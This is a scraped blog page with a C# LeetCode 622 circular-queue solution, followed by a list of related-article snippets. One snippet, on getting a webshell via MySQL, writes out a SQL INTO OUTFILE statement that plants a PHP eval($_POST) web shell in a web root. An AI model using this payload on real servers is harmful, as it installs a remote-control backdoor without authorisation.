public class MyCircularQueue {

    int[] Queue=null;
int _Front = 0;
int _Rear = 0;
int Length = 0;
int Count = 0;
/** Initialize your data structure here. Set the size of the queue to be k. */
public MyCircularQueue(int k) {
Queue = new int[k];
_Front = 0;
_Rear = 0;
Count = 0;
Length = k;
} /** Insert an element into the circular queue. Return true if the operation is successful. */
public bool EnQueue(int value) {
if(IsFull())
return false; Queue[_Rear] = value; _Rear++;
_Rear = _Rear % Length; Count++;
return true;
} /** Delete an element from the circular queue. Return true if the operation is successful. */
public bool DeQueue() {
if(IsEmpty())
return false; _Front++;
_Front = _Front % Length;
Count--;
return true;
} /** Get the front item from the queue. */
public int Front() {
if(IsEmpty())
return -1;
return Queue[_Front];
} /** Get the last item from the queue. */
public int Rear() {
if(IsEmpty())
return -1;
int rear = _Rear - 1;
if(rear == -1)
rear = rear+Length;
return Queue[rear];
} /** Checks whether the circular queue is empty or not. */
public bool IsEmpty() {
if(Count == 0)
return true;
return false;
} /** Checks whether the circular queue is full or not. */
public bool IsFull() {
if(Count == Length)
return true;
return false;
}
} /**
* Your MyCircularQueue object will be instantiated and called as such:
* MyCircularQueue obj = new MyCircularQueue(k);
* bool param_1 = obj.EnQueue(value);
* bool param_2 = obj.DeQueue();
* int param_3 = obj.Front();
* int param_4 = obj.Rear();
* bool param_5 = obj.IsEmpty();
* bool param_6 = obj.IsFull();
*/

622 CircularQueue C#的更多相关文章

  1. LeetCode 622:设计循环队列 Design Circular Queue

    LeetCode 622:设计循环队列 Design Circular Queue 首先来看看队列这种数据结构: 队列:先入先出的数据结构 在 FIFO 数据结构中,将首先处理添加到队列中的第一个元素 ...

  2. Java实现 LeetCode 622 设计循环队列(暴力大法)

    622. 设计循环队列 设计你的循环队列实现. 循环队列是一种线性数据结构,其操作表现基于 FIFO(先进先出)原则并且队尾被连接在队首之后以形成一个循环.它也被称为"环形缓冲器" ...

  3. 622.设计循环队列 javascript实现

    设计你的循环队列实现. 循环队列是一种线性数据结构,其操作表现基于 FIFO(先进先出)原则并且队尾被连接在队首之后以形成一个循环.它也被称为“环形缓冲器”. 循环队列的一个好处是我们可以利用这个队列 ...

  4. Codeforces 622 F. The Sum of the k-th Powers

    \(>Codeforces \space 622\ F. The\ Sum\ of\ the\ k-th\ Powers<\) 题目大意 : 给出 \(n, k\),求 \(\sum_{i ...

  5. 【DFS】Paintball(6-22)

    [UVA11853]Paintball 算法入门经典第6章6-22(P175) 题目大意:有一个1000*1000的正方形战场,西南角坐标(0,0),西北角坐标(0,1000),有n个敌人,每个敌人处 ...

  6. LeetCode 622——设计循环队列

    1. 题目 设计你的循环队列实现. 循环队列是一种线性数据结构,其操作表现基于 FIFO(先进先出)原则并且队尾被连接在队首之后以形成一个循环.它也被称为"环形缓冲器". 循环队列 ...

  7. RQNOJ 622 最小重量机器设计问题:dp

    题目链接:https://www.rqnoj.cn/problem/622 题意: 一个机器由n个部件组成,每一种部件都可以从m个不同的供应商处购得. w[i][j]是从供应商j处购得的部件i的重量, ...

  8. CF 622 F The Sum of the k-th Powers —— 拉格朗日插值

    题目:http://codeforces.com/contest/622/problem/F 设 f(x) = 1^k + 2^k + ... + n^k 则 f(x) - f(x-1) = x^k ...

  9. php课程 6-22 字符串格式化函数有哪些(精问)

    php课程 6-22 字符串格式化函数有哪些(精问) 一.总结 一句话总结: 1.猜测一下$_GET()怎么来的? 函数赋值给变量的操作:$_YZM=get();   这样就可以很好的解释哪些全局变量 ...

随机推荐

  1. unicode 与 utf-8 编码概念及区别

    unicode 是国际组织制定的可以容纳世界上所有文字和符号的字符编码方案.每个字符都对应一个编号,编号的范围是0-0x10FFFF来.Unicode 是为了解决传统的字符编码方案的局限而产生的,它为 ...

  2. mysql拿webshell总结

    1.select '<?php eval($_POST[jumbo]) ?>' into outfile '/var/www/jumbo.php'; 2.select '<?php ...

  3. 二、JavaScript基础(2)

    BOM基础加强 1.浏览器对象BOM DOM Window DOM Navigator DOM Screen DOM History DOM Location 2.浏览器对象的使用 History H ...

  4. ubuntu16.04安装libzip库

    sudo apt install libzip-dev

  5. jmeter安装与环境变量配置

    因jmeter是java开发的,要想运行java开发的程序,必须先下载JDK一.jdk 1.下载jdk  jdk下载地址:https://www.oracle.com/technetwork/java ...

  6. [efficiency] emacs入门

    一. 没记错的话,这可能是第三次读emacs tutorial了.前两次读的非常慢,也不记得有没有读完了.总之最后都忘光了. 这次读的很顺畅,利用工作的空闲时间加上今天晚上(周日).总算是读完了. 没 ...

  7. 目标检测(六)YOLOv2__YOLO9000: Better, Faster, Stronger

    项目链接 Abstract 在该论文中,作者首先介绍了对YOLOv1检测系统的各种改进措施.改进后得到的模型被称为YOLOv2,它使用了一种新颖的多尺度训练方法,使得模型可以在不同尺寸的输入上运行,并 ...

  8. css3 伸缩百分比的调整

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  9. Oracle单行函数

    一.尽管各个数据库都是支持sql语句的.可是每一个数据库也有每一个数据库所支持的操作函数,这些就是单行函数.假设想进行数据库开发的话.除了要回使用sql语句外,就是要多学习函数. 1.单行函数的分类: ...

  10. vue中富文本编辑框

    .npm install vue-quill-editor --save .npm install quill --save .封装成子组件 <template> <quill-ed ...